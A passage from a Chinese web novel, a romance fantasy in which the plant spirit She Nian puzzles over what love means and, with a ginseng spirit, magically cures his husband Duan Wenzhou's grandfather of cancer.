想到这,阮晨忽然无声地笑了笑,笑意未达眼底,其中满是落寞。 捏紧的拳头复又松开,最终他一言不发地转身离开了房间。 他不敢再追问其他,怕会得到更多伤自尊的回答。 刚见识到初恋,便已失恋;以为心意相通,却是逢场作戏。 但在转身的瞬间,一颗眼泪无声滑过眼角,滚落滴在地面,洇湿了一小片痕迹。 看着人离去的身影,齐子修忽然觉得心里涌现出一种奇怪的感觉。 但他分辨不清这种感觉是什么,也不明白为什么会有这种感受。 正如他不明白,为什么喜欢与否的答案很重要,以及为什么此时的阮晨看上去如此悲伤。 从记事时起,齐子修就知道自己有情感缺失症,因为他早已发现和自己其他人不同。 ——他不明白为何有人会因为宠物的去世而悲伤,不理解为何有人会因为准备的意外之喜而喜悦,也想不通为什么会有人因爱情而又哭又笑。 虽不理解,但聪明的齐子修会观察,也会模仿,知道在各种场合应该怎么做,应该表现出什么情感。 因此即使他患有情感缺失症,但对外一直表现如常,除了面无表情,淡漠疏离外,并未被他人诟病,伪装得极成功。 就好像即使他并不抽烟,但也会学着生意场上的大多人,随身携带烟用于社交。 后来,他被家里人安排与阮晨联姻。 虽然不懂爱情也不懂婚姻,但是没关系,他有提前了解过,知道如何扮演好一个合格的丈夫。 在丈夫这一角色上,他合格到近乎完美,让人挑不出一点刺。 总能看见阮晨望向自己的眼睛里带着亮光,就在齐子修以为自己做得足够好了时,他不明白为什么阮晨突然就爆发了,并且在日后刻意拉开了与自己的距离,拒绝自己的所有靠近。 “……后来,我就克制自己,不再去沉浸在他的体贴里了,不然只会让自己看上去更像个小丑。” 说到这,阮晨的脸上浮现自嘲的笑,但是看上去比从前坦然了很多。 “但是,我好像有点不明白。” “我总觉得,齐总应该不是你说的那样,他看你的眼神似乎有些不一样。” 头一次接触到人类如此复杂的情感,佘念有些茫然,他总觉得,事情应该不是这样的。 “要不怎么说你单纯呢。” 闻言,阮晨好笑地戳了戳他的脑袋。 “佘念,你要知道,人是最会伪装的,只要能达到目标,所有人都是最优秀的演员。” 而齐子修,恰恰演技很好。 “可是,既然他会对你那么好,那应该还是喜欢你的吧……” 佘念蹙眉,小脑袋瓜还是有些不理解。 “对别人好,和喜欢别人,两者是不一样的,就算不喜欢别人,也是能对他好的。” 而阮晨摇了摇头,轻声说道。 “齐子修对别人好,只是因为那个人是他的结婚对象,不管那人是我,还是换成别人,他都可以面不改色地做出所有温柔举动。” “但是喜欢是不一样的,我喜欢他,只是因为那个人是他,不管他是什么身份,我都只喜欢他,换了别人就不行。” “这两者是不一样的,爱情上的喜欢,是唯一的。” 听了他的话,佘念拧起眉头,大脑飞速运转,但好像还是不太能消化他所说的话。 喜欢,原来是这么复杂的情感吗? “可是,我还是不太明白,你说对你好,不一定意味着喜欢你的话,那我老公是不是也不太喜欢我?” 因为老公对自己可太好了,一想到这种好可能不等于喜欢,佘念就沮丧地垂下头。 “那不一样,喜欢这种事是藏不住的,是会从眼神里偷偷暴露出来的。” “我能看得出来,段闻洲一定喜欢你,因为他看向你的眼神是不同的。” 不是假装的,而是真情流露,并且是唯一的,想到这,阮晨眼底流露出羡慕的光。 其实这次私人聚餐,他提出带齐子修来的目的也是在此,想让人看看真正恩爱的夫夫是怎么相处的。 让他看看,这份亲昵与温柔,是扮演不出来的。 好难理解,好复杂啊。 佘念觉得自己喜欢大家,也喜欢段闻洲,在人类社会遇到的很多人和事他都喜欢。 但是从阮晨的话里他又隐约察觉到,喜欢的含义好像不同,喜欢与对人好也是两码事。 而且,不知道为什么,一听说老公肯定喜欢自己,不管是哪个含义的,佘念都觉得心情雀跃不已。 “你喜欢段闻洲吗?” 忽然,阮晨问道。 “喜欢的。” 但是顿了顿,佘念又补充了一句。 “但是我也喜欢你,大家我都很喜欢。” “哈哈,我说的不是这种喜欢,喜欢也分很多种的,爱情的,亲情的,友情的。” 看着他懵懂的样子,阮晨勾了勾唇。 “爱情里的喜欢是特殊的,独一无二的,和其他的喜欢不一样。” 有这么多种喜欢吗?那到底应该是哪种喜欢才对? 阮晨所为之困扰的喜欢之情,难道和自己所理解的喜欢不一样吗? 特殊?独一无二? 这下小蛇舌草精已经完全晕乎了。 “哈哈哈先不说这些了,毕竟我也不是什么情感专家,等会别把你误导了。” 大概是看出了他茫然的神色,阮晨忍俊不禁,很快就转换了话题。 把心底话说出来后,他觉得轻松了不少。 两人又闲聊了一会,段闻洲和齐子修才从屋内走出,看架势他们应该已经商谈好工作上的事了。 见状,佘念站起身,蹦蹦跳跳地向段闻洲身边跑去。 “时候也不早了,我们该告辞了,今天多谢你们的招待,有机会再一起聚餐。” 不动声色地避开齐子修想揽过自己的手,阮晨冲两人笑了笑,礼貌道别。 “嗯,下次见哦,你们路上小心一点。” “好,别送了,你们回去吧。” 在门口目送两人离开,佘念目不转睛盯着他们的背影。 只见阮晨和齐子修一前一后地上了车,虽然看上去是夫夫,但彼此间很有距离感,始终保持两拳左右的间距。 特别是在上车时,阮晨直接拒绝了齐子修要替他拉开车门的绅士举动,而是直接自己上了车。 “走吧,我们也进屋。” 等车辆彻底消失在视线范围内后,段闻洲拉着佘念的手回到了室内。 “老公。” 但在玄关处,佘念忽然原地站定,拽了拽他的衣角。 “怎么了?” 见状,段闻洲停下脚步,转身看来。 而佘念却没有回答,只是抓住人的胳膊,踮脚凑近几分。 只见小朋友的身影在视线内陡然放大,段闻洲愣了愣,但是没有后退避开,而是任由人靠近。 两人之间的距离拉得极近,近得能感受到彼此的呼吸。 本以为接下来会是如同往常一样的一个浅吻,却没想到,对面的小朋友在跟前一厘米的位置停了下来。 预想中的吻没有落下,段闻洲好奇地抬眸看去。 而对面一言不发的则佘念眯起眼,目不转睛地盯着人看。 他的眉心蹙成一个川字,看上去是在极其用力地思考。 ——因为他在观察自家老公的眼睛。 第70章 记得阮晨刚刚说过, 段闻洲看自己的眼神是不同的。 所以佘念想亲自观察看看,到底有哪里不一样。 于是他紧紧贴在人身上,踮起脚尖, 几乎都快要把眼睛怼到人的脸上来了。 从段闻洲的角度低头看去, 只见佘念的眼睛先是严肃地眯成缝, 一眨不眨地望向自己,紧接着又倏地睁大, 一双眼睛瞪得比平常还圆溜溜的,继续全神贯注地凝视自己。 像是在认真观察的小猫一样, 虽然也不知到底是在看什么。 即使没有得到预想中的亲吻,但这幅可爱的模样依然让段闻洲莞尔。 于是他顺着小朋友的举动, 一动不动地站在原地, 仿佛柱子一样任由其打量。 怎么感觉, 好像没什么不一样呢? 左边歪头看看, 右边歪头看看,把人的眼睛包括整张脸都仔细端详了一番,佘念也没发现有什么不同之处。 最后甚至还用手捧住了人的脸, 手动调整方面进行360度无死角观察。 不过依然一无所获就是了。 唯一得出的结论就是, 老公的眼睛真好看,脸长得也很好看。 “没发现啊……” 佘念小声嘟囔着, 沮丧地松开手, 缓缓后撤站直身体。 “发现什么?” 闻言,段闻洲挑眉,好奇地问。 “没什么没什么, 我们快进去吧。” 见人听见,佘念连忙摆摆手否认,蹩脚地转移话题。 撒谎的模样太过明显, 显然有事在瞒着自己,但段闻洲并未追问,因为他知道小朋友有自己的秘密很正常。 “嗯,进屋吧。” 说着,他刚准备迈步离开玄关,但突然想起了某件事,又停了下来。 紧接着,只见他附身弯腰,再次靠近。 唇瓣上忽然覆盖下温热的触感,轻轻碰了碰,随即离开。 ——是段闻洲主动吻了上来。 “唔……” 还没反应过来,老公便已经分开了,佘念缓慢地眨了一下眼,似乎还没回过神来,依然沉浸在方才那个浅吻之中。 不怪他懵圈,实在是段闻洲主动吻上来的次数屈指可数,太让人印象深刻。 ——老公他会认真回应每一个吻,但不一定会主动亲吻。 这幅懵懂的样子实在太可爱,特别是人眼底的眸光闪啊闪,比宝石反射的辉泽还要夺目耀眼。 亮晶晶的,就那么直直照进人的心底。 没忍住,段闻洲又低头在人的眉心轻轻印下一吻。 再一次被亲,佘念立刻反应了过来,在人起身分开的瞬间,赶忙拽住人的袖子。 “老公,你喜欢我吗?” 他开口就是直球,一双眼睛里满是求知的渴望。 被这么直白地询问,段闻洲反倒愣了愣。 在撞进那束扑闪扑闪的眸子中时,他下意识咽了咽口水,喉结滚动,随即坦然承认: “喜欢的。” 轻飘飘的语气,看似不随意的回答,但已然将内心最真实的想法昭告天下。 当着心爱之人的面,他以最隐晦的方式将爱意宣泄。 委婉又诚挚。 “嗯,我也喜欢你的。” 果然和阮晨所说的一样,闻言,佘念若有所思地点点头。 虽然现在还不明白喜欢的含义,但亲耳听到这样的回答,小蛇舌草就觉得安心了不少。 将他的反应尽数收于眼底,段闻洲无声笑了笑,一边揉着人的发顶,一边轻声道: “我们所说的喜欢,不一样的。” 啊,又是不一样的喜欢吗? 那到底是亲情方面的喜欢,还是爱情方面亦或其他方面的呢? 这下佘念再一次犯了难,愈发觉得自己来到了一片未知的领域中,茫然困惑。 而且他自己也说不清楚,更希望是哪方面的喜欢。 他想加深了解,但又无从下手,只知道身边所有的人似乎都比自己知道得更多。 “是哪里不一样啊?” 一向有话直说的佘念,选择了开口询问。 换做其他人,大概早已明白了这样明显的暗示,但是不谙情事的小朋友则依然还是满脸不解。 对于他的迟钝,段闻洲并不反感,反而喜欢得紧。 “这个答案,现在我不会告诉你,就要以后你自己探索了。” 他暧昧一笑,半吐半露地暗示。 “我很期待,你找到答案的那天。” ———— 不同的喜欢之间,到底有什么区别呢? 要怎么找到答案呢…… “喂,回神啦,在想什么东西?” 跟前突然多出一只手晃了晃,佘念这才一惊,吓得身体弹了弹。 认出是阮晨后,回过神来的他,这才抚着胸口长出一口气: “吓我一跳。” “发什么呆呢?看你坐在化妆镜前出神好半天了,不知道的还以为你在顾影自怜。” 阮晨打趣着说。 “没什么,就是有点累而已。” 不太好意思将自己烦恼的事告诉人,佘念讪讪地挠了一下脸,撒了个善意的谎。 “说起来,你的工作忙完了吗?” “嗯,刚结束拍摄,过来休息一会。” 说起来,佘念也是后来才知道,原来阮晨也是G.D公司的签约艺人,所以两人在公司的摄影棚里经常能遇见。 “那你等会是要自己回去,还是……” 说到后面,佘念欲言又止地回头看了看,打量了一眼一直在休息区陪同的某个男人。 ——不知为什么,今天齐子修也来陪着阮晨工作了,全程都坐在旁边看着。 乍一看还以为是阮晨带的保镖,寸步不离的那种。 “不用管他,我本来让他别来的,但他非要一起跟过来。” 一边说,阮晨一边佯装无意地扫了一眼后方的人。 “可能是跟你老公学的吧,觉得恩爱的夫夫也要陪同拍摄工作。” 想到这,他自嘲地笑了笑,无奈地摇头。 大概是近期要合作的缘故,段闻洲和齐子修联络变得密切起来,或许就是因为这个,齐子修又了解到了不少他在婚姻中的做法,所以也学着来陪同工作了。 只是,这样的模仿又有什么意义呢,只能让外人误以为恩爱罢了,两人间的真实感情只有自己知道。 看着阮晨黯然失色的表情,佘念若有所思,直到跟人道别人离开后都还沉浸在思绪之中。 不知怎的,今天他心底总没来由地有一抹不安。 既有思索问题答案的缘故,也有另一种不安的古怪预感。 “佘老师,您要先休息一下吗?” 就连摄影师都发现了他状态不对,开口提醒道。 “不用,抱歉给您添麻烦了。” 闻言,佘念连忙摇头,深呼吸一口气,努力让自己静下心来。 直到段闻洲的电话打来,他才知道那抹不安究竟是来源何处。 “佘老师,您的电话一直在响,好像是有很紧急的事。” 拍摄过程中,助理歉意地上前打断,把他的手机递了过来。 看着屏幕上显示的三个未接来电,佘念呼吸猛地一滞,直觉发生了什么。 就在他准备回拨过去时,段闻洲的电话再次打了进来,于是他连忙用最快的速度接通。 “喂老公?” “……佘念,你在忙吗?” 电话那端的人声音带上了明显的嘶哑和无力,显然是出了什么事。 “你说。 “不忙的话能麻烦你来一趟医院吗?爷爷的病情突然加重了,现在在手术室抢救。” 闻言,佘念腾地一下站起身来,立刻道: “老公你等我一下,我马上过来。” 挂断电话后,他立刻同现场的工作人员道歉,表示家里有急事需要马上赶去,拍摄要中断,并拜托助理处理好剩下的事宜。 拍摄很重要,但老公这件事更重要。 当佘念紧急打车赶到医院时,段闻洲及段父段母三人已经在手术室门口了。 “老公,爸,妈。” 见状,他快步跑上前。 “诶,小念来了啊。” 于秋柳对其勉强笑了笑,但笑容依然掩盖不了脸上的忧虑之情。 而段风华则对其微微颔首,很快视线就重新转向了手术室的门,忧心忡忡地等待消息。 “佘念。” 看见他赶来了,椅子上垂着头的段闻洲抬起了头,上前拉过人的手,领着他在椅子上坐下。 “爷爷情况还好吗?” 但佘念没有坐下,而是紧紧跟在了人的身边,一步不离。 “还不知道,今早上情况突然恶化,已经进去手术室抢救了。” 说着,段闻洲咬紧下唇,手掌下意识捏了捏拳头,复又松开。 见佘念眉头紧锁,神情严肃起来,他努力做出一副轻松的表情,对人扯出一抹笑: “别担心,你坐下等吧。” 而佘念摇了摇头,一句话也没说,看出了人心中的焦虑,只是握住了他的手。 柔软温热的手掌主动钻进掌心,然后紧紧握住,传来了坚定的力量,给予人无声的支持。 段闻洲先是愣了愣,眼睛微微睁大,随即又垂下眼来,回握住了那只小手。 相牵的两只手,无言中传递着安慰的温度。 终于,在两小时后,手术室的门被从内推开。 门外等候多时的几人立刻迎上前,急切地询问: “医生,情况怎么样?” “别担心,手术还算成功,但是……” 医生安慰着众人,紧接着又有转折。 “但是这次癌细胞扩散得很突然,势头也很猛,如果在短时间内想不到新办法遏制的话,恐怕就……” 虽然话没有说完,但在场的众人皆明白剩下那句话的含义。 闻言,佘念抿唇沉思起来。 虽然说之前段老爷子有自己的法术保护,但因为暂时无法彻底治愈,所以不能根治,对病情只能起到延缓的作用。 换句话说,老爷子的身体就像一袋水,因为疾病而有漏水的趋势,佘念使用自己的法力堵住了袋子上的漏洞,但眼下袋子本身即将老化破裂,即使依靠修补漏水点也无法挽救。 看来,得重新想个办法才行。 猛地想起在家中阳台沉睡的人参精兄弟,佘念顿时心生一计。 70-80 第71章 从手术室出来后, 段老爷子转入了病房观察,但依然处于昏睡的状态,身体各项指标也不容乐观。 虽然所有人都忧心忡忡, 但为了不让彼此担心, 大家都努力维持镇定, 甚至面上也尽量扯出笑容来。 特别是段闻洲,他作为现在家中的主心骨, 必须撑起一片天,不能流露出任何哀怨的神情。 他一边安慰着父母不要忧心, 一定会有解决的办法,一边和主治医生沟通起新的治疗方案。 而佘念什么也没有说, 只是默默陪在人的身边, 无言陪伴着他。 不知为什么, 在注视着人□□宽阔的后背时, 佘念总隐约在其中窥见几分悲伤脆弱。 但这抹负面情绪转瞬即逝,段闻洲始终只对外表现出可靠。 在忙碌的过程中时间总是过得很快,不知不觉天就已经黑了下来。 “爸, 妈, 你们别担心,医院这边交给我, 你们先回去好好休息。” 考虑到两位长辈今天也一直在医院奔波, 连晚饭都还没来得及吃,段闻洲便劝他们先回去。 “可是……” 看了看病房里,段风华有些犹豫。 “爸, 你们回去吧,我也留在这的。” 见状,佘念也上前一步, 软声劝道。 “您二位先回家好好休息,注意身体,明天再过来就好,今晚我们陪床,这边交给我们。” 听着两人的劝说,段父段母也知道没必要留这么多人在这,万一自己累倒下了反而会给晚辈增加负担,于是纠结了片刻后,他俩还是答应先回去,明早再过来。 “那有任何事记得给我们来电话。” “嗯好的。” 九点时,父母二人便离开了医院,留段闻洲和佘念二人在医院陪床守夜。 因为有护工,所以陪床照顾老爷子的工作量并不大,相比之下精神上的压力反而更大。 “远修,对是我,能拜托你联系一下国内这方面最厉害的医生吗……好,多谢你了,等日后有机会好好跟你道谢。” “我们兄弟这么多年了,你还这么客气干什么。” 因为陆远修曾经学医,在医学界的人脉很广,所以段闻洲便打电话拜托了他。 段老爷子的病太棘手,一刻也拖不得,那端的陆远修表示立刻去联系专家。 “老公,你也吃点东西吧。” 直到十点,段闻洲从下午开始到现在就只喝了一口水,等他终于挂了电话,忙完所有的事暂时坐下后,佘念将刚买来的盒饭往人跟前推了推。 “我没什么胃口。” 而段闻洲却摇了摇头,一点都没感觉到饥饿,只觉得身心都很累。 “不行,要吃东西的,不然没力气,哪怕吃一点点都行。” 闻言,佘念用力摇了摇头,然后拆开了饭盒,主动夹起一筷子递到人嘴边。 “来老公,张嘴,啊——” 饭菜已经被喂到嘴巴边,这下段闻洲连拒绝的话都说不出口,不由分说就被小朋友喂了一筷子菜。 “要吃完饭才有体力,这样我们才能更好照顾爷爷。” 看着身边的人一脸认真地说道,佘念继续喂人吃饭。 就这么一口一口地,段闻洲就着他的手被喂着吃了半碗饭,虽然说比起平常的饭量少了很多,但在这种情况和心态下,能吃这么多就不错了。 于是佘念也不再勉强,见人吃不下了,便把剩下的打包收拾好。 这样的感觉很奇妙,段闻洲也是头一次反过来,被小朋友这么细心照顾着。 “老公,你累了的话可以歇一会哦,有我在的。” 察觉到人眼底的疲色尚未消散,佘念缓慢地眨了一下眼,轻声说道,并凑近几分抬了抬自己的肩膀,示意可以靠在上面。 我们的小蛇舌草其实能感觉到,虽然今天一直是段闻洲在负责各项事宜,宛如定心骨一样安慰和支持着众人,但他的内心也在悲伤,背影也是脆弱的。 只是他必须表现出坚强,不能流露出哀伤之情。 一旦他也情绪崩溃,将会影响所有人的心态。 但是,作为被段老爷子一手带大的孩子,在这种情况下,他的悲伤不比任何人少。 “不,我没事的。” 听见人这么说,很明显是还在强撑,佘念皱了皱眉,紧接着站起身,索性一把伸出手,直接把人搂进了怀里。 “老公,现在这里只有我们两人,你不用勉强自己的。” 此时两人是一个站着一个坐着的姿势,两人面对面,站起来的佘念把段闻洲的脑袋按在自己胸膛前,学着人之前的样子,一边上下顺着人的后背,一边轻声安慰。 “有我在你身边的哦。” 他柔声细语地说。 这样温柔的话语落在耳中,仿佛天使的低语一样,瞬间卸去人身上所有的伪装。 一时间,段闻洲只觉得疲惫与哀伤如潮水般涌来,包裹住了自己。 刚才他一直在忙碌,其实也是在逃避,避免让自己空闲下来后,大脑胡思乱想。 一旦静下来,他就忍不住去想各种最坏的结果,而每一种都是他不能接受的。 万一爷爷的病治不好…… 万一爷爷会离开自己…… 即使难以接受这样的结果,但眼下似乎并没有有效的办法能解决。 对于老人家的病束手无策。 说实话,段闻洲在接到医院电话的那时,整个人就已经大脑宕机,他甚至都回忆不起来自己是如何驱车赶到医院的。 直到打电话给佘念时,听见手机那端如泉水叮咚般清脆空灵的声音,他才有一种脚踏实地的实感,才觉得灵魂归了躯体。 今下午亦是如此,当小朋友紧握住自己的手掌时,透过掌心传来的温度成了最有效的安抚剂,让躁动不安的心冷静下来。 坚强了一整天的段闻洲,在眼下的深夜,在佘念的怀中,终于卸下了伪装,展露出了自己最脆弱的一面。 只见他将头紧埋在佘念的胸前,双手牢牢攥住人的衣袖,身体微不可察地颤抖着。 “佘念,其实我很害怕……” 他的声音低不可闻,带着颤音,闷闷地从跟前传来。 “嗯,老公,害怕是很正常的。” 佘念轻轻地抚摸着他的头顶。 这么简短的一句对话后,两人之间谁也没有再开口。 但他们依然紧紧相拥。 虽然拥抱的位置调转了一番,但是这样的场面并不违和。 佘念也并不讨厌这样。 一向以庇护他人的形象现身的段闻洲,习惯了保护他人,习惯了让他人依靠,却极少展现自己的脆弱。 但是眼下,他却在佘念面前这么做了。 这是否意味着,自己对段闻洲来说,是特殊的存在呢? 一如喜欢中的那份特殊。 虽然还没有理明白这些混乱的感情,但佘念知道自己其实在暗暗地开心,开心段闻洲会在自己面前示弱,会不同地对待自己。 “老公,相信我,爷爷一定会平安的。” 自己一定会有办法让老人家彻底痊愈的,佘念小声地对人保证道,握紧了拳头。 这样的话落在他人耳中,其实更像是一种轻飘飘的安慰,客套话似的,可不知为何,听见佘念这么说,仿佛有魔力一样,让人忍不住想要相信他。 “嗯。” 忽然觉得不安的心镇定下来几分,段闻洲收紧了胳膊的力道,把人抱得更用力了些。 就这么依靠在人的怀中,很快他就打起了精神。 “今晚我会留在医院,晚一点让司机送你回家休息,或者你想在附近酒店开个房间睡一晚也行。” 重新拉着人在身边坐下,段闻洲握住人的手捏了捏。 “好。” 闻言,佘念点了点头,没有异议。 其实正常来说,这种情况下佘念都会选择坚定留下,寸步不离陪着自己老公的。 但是今天不一样,今天他必须回家一趟。 因为他要想办法治好段老爷子。 被司机送回到市中心的大平层后,佘念以最快的速度上楼,进屋后连灯都来不及开,就直接冲到了阳台处。 “人参?你在吗?” 只见他蹲在人参精休眠的那个花盆前,焦急地喊道。 话音落下,花盆略微动了动,紧接着泥土向上鼓了鼓,人参的根须破土而出。 “我在的,怎么了?” 听出他话里的急迫,人参摇了摇根须,示意自己在。 “你能帮我一个忙吗?” 于是佘念将段老爷子生病一事告诉了他。 实际上,佘念虽然已经化了人型,但毕竟是靠天道开恩才得以成功,所以法力相对于来说要略弱几分,只依靠自己的力量很难完全治愈段老爷子。 再加上从本体来说,人参的药用效力要比蛇舌草更强,所以他才想着拜托一下人参精兄弟帮忙。 听完他的话后,人参精若有所思,沉默了半天后才开口: “其实,这个病也不是没办法。” “真的吗?” 闻言,佘念眼睛倏地一亮。 “不过单靠我的力量可能不够,需要我俩共同合作才行。” 如果处于实力巅峰的话,人参精一人是完全能做到的,但是现在他的法力尚未全部恢复,所以还需要依靠佘念搭把手。 “没问题的!需要我做什么你尽管说!” 只要能救段老爷子,付出什么都行。 “嗯……但是你现在是人型,可能损失相对会大一点。” “没关系的!” 听见这个回答,人参精点点头,同人仔细说了一番具体的办法。 于是第二天晚上,佘念同段闻洲一块留在了医院守夜。 “老公,你先睡吧,我替你守上半夜。” 深夜时分,他催促着段闻洲先睡下休息。 “好,要是你撑不住了,就叫醒我。” 换做之前,面对小朋友如此殷勤的举动,段闻洲肯定会意识到不对劲,但这两天的他实在太累了,因此并没有察觉异样。 段老爷子所住的是vip病房,内间有一张小床可供陪护家属休息。 等到人睡下后,佘念便蹑手蹑脚地来到了段老爷子的病床前。 第72章 深夜的病房昏沉黑暗, 只有稀薄的月色从窗帘缝隙中流淌进屋内,撒下惨淡的银白色。 为了不惊醒病房中的人,佘念将脚步放得极轻, 猫儿一般无声息地来到了段老爷子的病床前。 自打下了手术台后, 段老爷子的身体状况始终无法恢复到从前, 这几天一直是断断续续地清醒,大部分时间都在昏迷中。 状态很不好, 随时有危险。 被病痛折磨着,老人家的身形愈发消瘦, 脸颊颧骨处日益凹陷下去,形如枯槁。 确定没被发现后, 佘念悄悄地用法术施展开一个小型结界, 以屏蔽开外界, 并加深老爷子的睡眠。 做完这一切后, 他再次拉开衣服内侧的拉链,让躲藏在其中的人参精出来。 “呼,闷死我了。” 一从狭小的口袋里跳出, 人参精待在佘念的手心里, 不由得深呼吸一口气。 “抱歉,委屈你啦。” 为了避免被发现, 只能用这种方法把人参精带进来, 佘念双手合十道歉。 “道什么歉啊,区区小事。” 本来就是自己主动来的,为了报答人救了自己的恩情, 人参精满不在乎,转身看向病床上的段老爷子,直奔主题。 “这个样子, 病情确实很严重啊。” 看清人的模样后,它感慨道。 难怪佘念要拜托自己一起来帮忙呢,癌细胞扩散得这么厉害,如此严重的病情,如果说没有佘念提前施加的法术保护的话,恐怕老人家早就撒手人寰了。 “那我们现在开始?” “好。” 眼下时间就是生命,两人商量好具体的办法后,就立刻开始行动起来。 只见佘念从口袋里掏出了一小根植物根茎和叶片,绿油油的,仔细一看,就能认出那便是蛇舌草的组成部分。 ——那正是他从自己的本体上切下来的叶子。 见状,人参精也咬牙,忍痛从自己的根须上切下一小截。 “谢谢你。” 看着它递来的材料,佘念感激地道谢。 药材精的本体都蕴含强大的治愈力量,只是切割下来会有损于修为,并且过程很痛。 绿色的叶片和黄白的根须静静地躺在他的手心,紧接着缓缓飘至上方,停在半空中。 随即佘念闭上眼睛,和人参精同步将法力注入到两个材料之中。 在两股力量的作用下,人参和蛇舌草的小部分本体高速旋转起来,以肉眼难以捕捉的速度环绕某点划圆形,形成一个有形的漩涡。 旋转掀起了巨大风力,吹得佘念的头发尽数扬起,甚至险些快站不住,不得不略微后退一步以稳定身形。 即使如此,他依然一眨不眨地注视着手心里的能量,全神贯注地,随时把控住能量场的稳定性,避免融合失败。 而小型的人参精则差点被吹飞,啪地一声被卷到了人的身上,忙不迭躲进他的口袋中,缩在里面继续向外输送力量。 “咳咳——” 忽然间,甜意涌上喉头,佘念感到一股痒意蔓延,止不住咳出了一口鲜血。 艳红的鲜血喷在了漩涡的中心,竟被全部吸收,很快就消失不见。 “天呐佘念,要不还是停下算了?” 人参精被这景象吓了一跳,连忙劝说道。 “不行,马上就好了。” 现在停下就前功尽弃了,佘念默默擦了擦嘴角的鲜血,继续手上的动作,咬牙坚持了下来。 最终,两样材料皆消失不见,漩涡也逐渐消失,化成了一股散发着光亮的能量球,静静伫立在手心中。 “好了!” 终于大功告成,佘念兴奋地喘着气,连额间的汗都顾不上擦,激动地说完后就抓紧时间进行下一步动作。 他转身看向段老爷子病床的方向,上前两步,蹲下身来。 “接下来把这股能量放进他的体内就好了。” 人参精从口袋里探出头来,捏紧布料,紧张地盯着眼前的景象。 成功与否,就看这一步了。 这个能量球里蕴藏着蛇舌草和人参的治愈力量,蛇舌草能起到消除疾病的效果,而人参则能稳固元神,涵养身体。 若是能融合成功,那么段老爷子的病便能彻底治好,甚至身体的各项机能还可以恢复到十多年前的状态。 只见佘念小心翼翼地捧着能量,缓慢地抬手将其放入老爷子体内。 散发着光亮的能量球在没入身体的瞬间,便迸发出比方才更耀眼的亮度,刺得两人下意识眯了眯眼。 ——还好提前设置了结界,外界的人看不到也听不见内部的动静,不然按这个情况,怕是早就被发现了。 随着能量球缓缓融合进身体,刺眼的光亮消失,掀起的大风也在瞬间静止,仿佛刚刚什么都没发生过一样。 但唯一不同的是,病床上段老爷子的脸色肉眼可见好了很多,不再是病重时的苍白,而是变得红润了不少,床头仪器上显示的数值也正常了。 “太好了,成功了,他的病已经完全治好了。” 见状,人参精激动地喊道。 这样一来,老爷子就彻底康复,不用再受病痛的折磨了。 而老公他,心里应该也会轻松不少吧。 想到这,佘念不由得露出一个释然的笑。 “但是佘念,这样值得吗?化形后你的修为本来就有折损,救了他以后应该损耗更大吧。” 忽然想起这点,人参精犹豫着问。 不同于自己还可以继续在泥土中休眠恢复,佘念从自己本体上取下了一小部分,想要在人型状态下恢复亏损的法力很难。 换句话说,这其实是通过消耗自己的法力,来救助老爷子的等价交换。 “值得的。” 而佘念却只是淡淡一笑。 “老公对我很重要,而爷爷对老公很重要,对我也不错,所以这么做值得的。” 如果失去了重要的人,那段闻洲的脸上肯定会失去笑容,但自己并不想看见他悲伤的表情。 所以,这样做值得。 ———— “……佘念?” 不知怎的,今晚的段闻洲闭眼小憩时,怎么也睡不安稳。 所以当床头略微下沉,察觉到有人坐下时,他立刻苏醒了过来。 “嗯老公,是我。” 紧接着,又乖又软的声音从头顶传来,是佘念轻声应道。 “时间还早,你继续休息吧,这边有我在守着的。” 一边说,他一边温柔地轻抚着男人的头顶,替人将鬓角的碎发捋至耳后,还有样学样地哼着摇篮曲,想哄人入睡。 大概是因为此时有佘念陪在身边,感受着那只柔软的手抚摸着自己,段闻洲竟觉得困意慢慢地涌上心头,眼皮变得沉重起来。 在闭上眼的前夕,他强撑精神问道: “爷爷的状况还好吗?” “还好的,老公你安心休息吧。” 闻言,佘念垂下眼,轻声回答。 “睡醒以后,就会有好消息的。” ———— 第二天,不仅是段闻洲一家人,就连医院都震惊了。 看着病床上完全恢复了精神气的老爷子,以及各项指标都正常的检查结果,所有人都感到既惊喜又意外。 “医生,您的意思是,老爷子已经康复了?” 听见医生的话后,段父怔怔地问,手中拿着的东西都咚地一声掉在地上。 联系的专家都还没赶过来,老爷子竟然自己痊愈了? 这是真的吗?难道老天真的开眼了? “从检查结果来看,确实是这样,这……这简直是医学奇迹。” 主治医生反反复复地看着检查报告,甚至还专门跟检验科确认了一番,发现报告没有出错,病人现在的身体状况一切正常,就连体内的癌细胞都不知去向。 “再观察几日,没有问题的话就能出院了。” 得出最后结论后,医生一边啧啧称奇一边离开了病房,准备好好研究一番原因。 “爷爷,您身体真的没有不舒服的地方了吗?” 闻言,段闻洲难以置信,就连呼吸都放轻了,生怕眼前的景象是梦境,他愣愣地坐在床边,握紧了老爷子的手,有一种不真实感。 “呵呵,真的,说来也很奇怪,一觉睡醒以后我就觉得浑身轻松,一点毛病都没有了。” 病床上的段老爷子呵呵一笑,对人挥了挥一番胳膊,表示自己很健康了,甚至还能当场下楼走两圈。 若是定睛一看,便能发现他不仅脸色都变好了很多,就连头发都不再花白,反而黑了不少,看上去精神了很多。 正如医生刚才所说的,一夜之间身体痊愈并且年轻几分,简直是医学奇迹才能做到的。 “说起来,昨晚我好像还做了个梦呢,梦里看见的那个天使长得很像佘念。” 忽然间,老人家呵呵笑着说道。 “说起来,佘念不在吗?” “诶爷爷我在。” 被提到名字的佘念连忙从最后方走出,挤到了病床边,他压了压头顶的渔夫帽,凑近答道。 看着他头顶的帽子,段闻洲有些好奇,但在眼下没有开口询问。 “您身体好多了吗?还有哪里不舒服吗?” 他关切地问,打算要是还有后遗症的话,就日后再拿点中药给老人家。 “没有,我现在好多了。” 段老爷子拍了拍他的手背,慈祥地笑着说道。 探望完老爷子后,段风华和于秋柳两人接替了照顾的工作,让两个昨晚陪床的年轻人先回去休息。 “今天怎么戴了个帽子?” 得到了好消息,段闻洲心里的一块石头落了地,顿觉轻松不已,勾唇笑着按了按小朋友脑袋上的渔夫帽。 “嘿嘿。” 而佘念只是弯了弯眼睛,没有直接回答,企图萌混过关。 实际上,他之所以戴帽子,不是为了打扮,而是为了遮住头顶。 ——因为昨晚提供了原型的叶片,所以身体有所损伤,相应地在化为人型后,这种缺失体现在了身上。 因此,他的头顶秃了一小块。 为了避免被发现,只好戴上了帽子遮挡啦quq。 但这并不算什么啦,毕竟头发还能再长出来,牺牲这一点能救回老爷子,是非常划算的一笔交易呢! 第73章 在医院又观察了五天, 确认了段老爷子各项指标都没问题,身体已经彻底康复后,老爷子终于从医院出院。 得益于佘念法力的庇护, 如今老爷子身上大大小小的毛病几乎都被治好了, 整个人精神抖擞的, 